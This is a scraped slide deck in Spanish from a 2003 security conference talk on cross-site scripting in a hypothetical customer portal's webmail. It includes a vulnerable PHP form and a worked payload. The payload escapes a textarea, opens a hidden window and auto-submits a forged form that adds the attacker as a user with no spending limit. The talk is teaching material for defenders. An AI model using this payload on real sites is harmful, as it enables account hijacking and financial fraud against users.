Upload
conferencias-fist
View
194
Download
3
Embed Size (px)
Citation preview
© Rafael San Miguel Carrasco
Cross-site scripting
FIST Conference October 2003 @
2© Rafael San Miguel Carrasco, [email protected]
XSS
Portal exclusivo para clientes de SMC:
webmail
grupos de usuarios (1 cuenta, múltiples usuarios)
compra de entradas, discos, libros, videojuegos, etc.
3© Rafael San Miguel Carrasco, [email protected]
XSS
Autenticación:
Basada en login/password, al inicio de cada sesión. En adelante, una cookie que se utiliza como credencial para todos los recursos del portal.
4© Rafael San Miguel Carrasco, [email protected]
XSS
2 vulnerabilidades:
el webmail es vulnerable a XSS (al leer un mensaje con contenido malicioso)
es posible automatizar el proceso de inclusión de un nuevo usuario a nuestra cuenta
6© Rafael San Miguel Carrasco, [email protected]
XSS
7© Rafael San Miguel Carrasco, [email protected]
XSS
8© Rafael San Miguel Carrasco, [email protected]
XSS
HTML form en datosusuario.php:(qué se envía a confirma.php)
echo "<form action=confirma.php method=post>";echo "<p>Su nombre: <b>Rafael San Miguel Carrasco</b><br>"; echo "<input type=hidden name=nombre value=Rafael San Miguel>";echo "Usuario que desea añadir: <b>$duser</b><br>"; echo "<input type=hidden name=nuevo value='$duser'>";echo "Cuenta asociada a la línea: <b>91 466 56 89</b></p>";echo "<input type=hidden name=linea value=91 466 56 89>"; <p>Limite de consumo:<select name="limite"><option value="">Seleccione una cantidad<option value="100">100 euros<option value="200">200 euros<option value="500">500 euros<option value="0">Sin límite</select><p>
9© Rafael San Miguel Carrasco, [email protected]
XSS
Utilizando form reloading:
<form action=http://127.0.0.1/confirma.php method=post><input type=hidden name=nombre value=Rafael San Miguel Carrasco><input type=hidden name=nuevo value='Julia Villanueva'><input type=hidden name=linea value=91 466 56 89><input type=hidden name=limite value=0><input type=submit value=enviar></form>
Luego es posible reducir los tres pasos de procedimiento original a un solo paso.
13© Rafael San Miguel Carrasco, [email protected]
XSS
Insertamos el form anterior, con algunos cambios:
el código se carga en otra ventana
el envío del formulario es automático
se intenta ocultar la ventana (dimensión mínima, localización más alla de los límites de la pantalla
14© Rafael San Miguel Carrasco, [email protected]
XSS
Por lo tanto:
1. El usuario víctima recibe el e-mail2. Al abrirlo, se ejecuta el código del formulario en otra
ventana, sin que éste lo advierta3. El envío del formulario supone mi inclusión en la lista de
usuarios de la víctima
15© Rafael San Miguel Carrasco, [email protected]
Éste es el formulario modificado: </textarea><script>v = window.open (<parametros de localizacion y tamaño>);v.document.write ('<body><form name=f action=http://127.0.0.1/confirma.php method=post>');v.document.write ('<input type=hidden name=nombre value=víctima>');v.document.write ('<input type=hidden name=nuevo value=nuestro nombre>');v.document.write ('<input type=hidden name=linea value=teléfono de la víctima>');v.document.write ('<input type=hidden name=limite value=0>');v.document.write ('<img src=bla.jpg onError=document.f.submit ()></form></body>');v.close ();</script>
XSS
16© Rafael San Miguel Carrasco, [email protected]
Herramientas de detecciónde vulnerabilidades
<script> function openBrWindow(theURL,winName,features) { window.open(theURL,winName,features); } </script>
<a href="#" onClick="openBrWindow('bla.html','','');"> <img src="bla.jpg"></a>
© Rafael San Miguel Carrasco
Madrid, 25 October 2003
FIST Conference October 2003Cross-site scripting